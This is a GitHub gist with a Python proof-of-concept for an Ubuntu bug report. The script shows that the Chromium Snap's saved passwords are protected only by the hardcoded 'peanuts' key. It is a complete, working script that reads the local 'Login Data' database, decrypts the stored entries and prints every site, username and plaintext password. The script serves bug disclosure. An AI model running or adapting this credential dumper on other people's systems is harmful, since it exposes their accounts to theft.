Created
May 5, 2026 14:20
-
-
Save nh2/3ddb2db465ec6066a860d10a042dabde to your computer and use it in GitHub Desktop.
Repro for printing passwords which the Ubuntu Chromium Snap stores in "plain text" by default
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # This script outputs passwords that the Ubuntu Chromium Snap stores in plain text by default. | |
| # | |
| # It should also work for any other Chromium that uses `--password-store=basic` (which is what | |
| # the Snap uses by default unless the user has manually connected it to a passowrd store backend). | |
| # See | |
| # https://chromium.googlesource.com/chromium/src/+/1fbcd1d2fcab302f8593393135fe6253a963101f/docs/linux/password_storage.md | |
| # It is a repro for Ubuntu bug: | |
| # | |
| # https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1996267 | |
| # | |
| # The passwords are not actually stored in plain text, but obfuscated with a | |
| # hardcoded password "peanuts" (called "v10 obfuscation"). | |
| # See source of various Chromium versions: | |
| # https://chromium.googlesource.com/chromium/src/+/0c704e40d7ffde97832319971222897d6930a134/components/os_crypt/async/browser/posix_key_provider.cc#19 | |
| # https://github.com/chromium/chromium/blob/0c704e40d7ffde97832319971222897d6930a134/components/os_crypt/async/browser/posix_key_provider.cc#L19 | |
| # https://chromium.googlesource.com/chromium/chromium/+/refs/heads/main/chrome/browser/password_manager/encryptor_posix.cc#36 | |
| # | |
| # Note this is not a Chromium bug. | |
| # It makes sense that Chromium falls back to unsafe password storage if it is | |
| # not provided a backend for safe password storage. | |
| # The bug is that the Ubuntu Snap does not do that by default, apparently even though | |
| # Ubuntu by default comes with such a backend. | |
| # But the Snap containerization prevents Chromium from finding it without manual user intervention. | |
| # | |
| # LLM disclaimer: This script was oneshotted by Google Gemini Pro 3.1 given the bug link above, and human-reviewed. | |
| # Needs `pycryptodome` python package | |
| import os | |
| import sqlite3 | |
| import shutil | |
| import hashlib | |
| from Crypto.Cipher import AES | |
| from Crypto.Util.Padding import unpad | |
| def decrypt_chromium_snap_passwords(): | |
| # The hardcoded salt, password, and iterations from Chromium's source code | |
| SALT = b"saltysalt" | |
| PASSWORD = b"peanuts" | |
| ITERATIONS = 1 | |
| KEY_LENGTH = 16 # 16 bytes = 128-bit key | |
| # Derive the symmetric key exactly as Chromium's Basic Store does | |
| print("[*] Deriving AES-128 key using PBKDF2 ('peanuts', 'saltysalt', 1 iteration)...") | |
| key = hashlib.pbkdf2_hmac('sha1', PASSWORD, SALT, ITERATIONS, KEY_LENGTH) | |
| # Path to the Chromium Snap Login Data database | |
| db_path = os.path.expanduser("~/snap/chromium/common/chromium/Default/Login Data") | |
| temp_db_path = "Login_Data_Temp.sqlite" | |
| if not os.path.exists(db_path): | |
| print(f"[-] Database not found at {db_path}.") | |
| return | |
| # Copy the database to avoid lock conflicts if Chromium is currently open | |
| shutil.copy2(db_path, temp_db_path) | |
| print(f"[*] Copied database to {temp_db_path}") | |
| # Connect to the SQLite database | |
| conn = sqlite3.connect(temp_db_path) | |
| cursor = conn.cursor() | |
| # Extract URLs, usernames, and encrypted passwords | |
| try: | |
| cursor.execute("SELECT origin_url, username_value, password_value FROM logins") | |
| except sqlite3.OperationalError as e: | |
| print(f"[-] SQLite Error: {e}") | |
| return | |
| print("[*] Searching for 'v10' obfuscated passwords...\n") | |
| for url, username, encrypted_password in cursor.fetchall(): | |
| if not encrypted_password: | |
| continue | |
| # Check if the BLOB starts with 'v10' (The signature of the Basic fallback store) | |
| if encrypted_password.startswith(b'v10'): | |
| # Strip the 3-byte 'v10' prefix to isolate the raw ciphertext | |
| ciphertext = encrypted_password[3:] | |
| # Chromium Basic store hardcodes 16 empty spaces as the Initialization Vector (IV) | |
| iv = b' ' * 16 | |
| # Initialize AES-128-CBC Cipher | |
| cipher = AES.new(key, AES.MODE_CBC, iv) | |
| try: | |
| # Decrypt and unpad the PKCS#7 block | |
| decrypted_bytes = unpad(cipher.decrypt(ciphertext), AES.block_size) | |
| decrypted_password = decrypted_bytes.decode('utf-8') | |
| print("-" * 50) | |
| print(f"URL: {url}") | |
| print(f"Username: {username}") | |
| print(f"Password: {decrypted_password}") | |
| except Exception as e: | |
| print(f"[-] Failed to decrypt password for {username} at {url}: {e}") | |
| else: | |
| # If it starts with v11, it successfully used an OS Keyring (e.g., Gnome Keyring/KWallet) | |
| print(f"[-] Skipping {username} at {url} (Not using v10 Basic Fallback)") | |
| print("-" * 50) | |
| # Clean up | |
| conn.close() | |
| os.remove(temp_db_path) | |
| if __name__ == "__main__": | |
| decrypt_chromium_snap_passwords() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment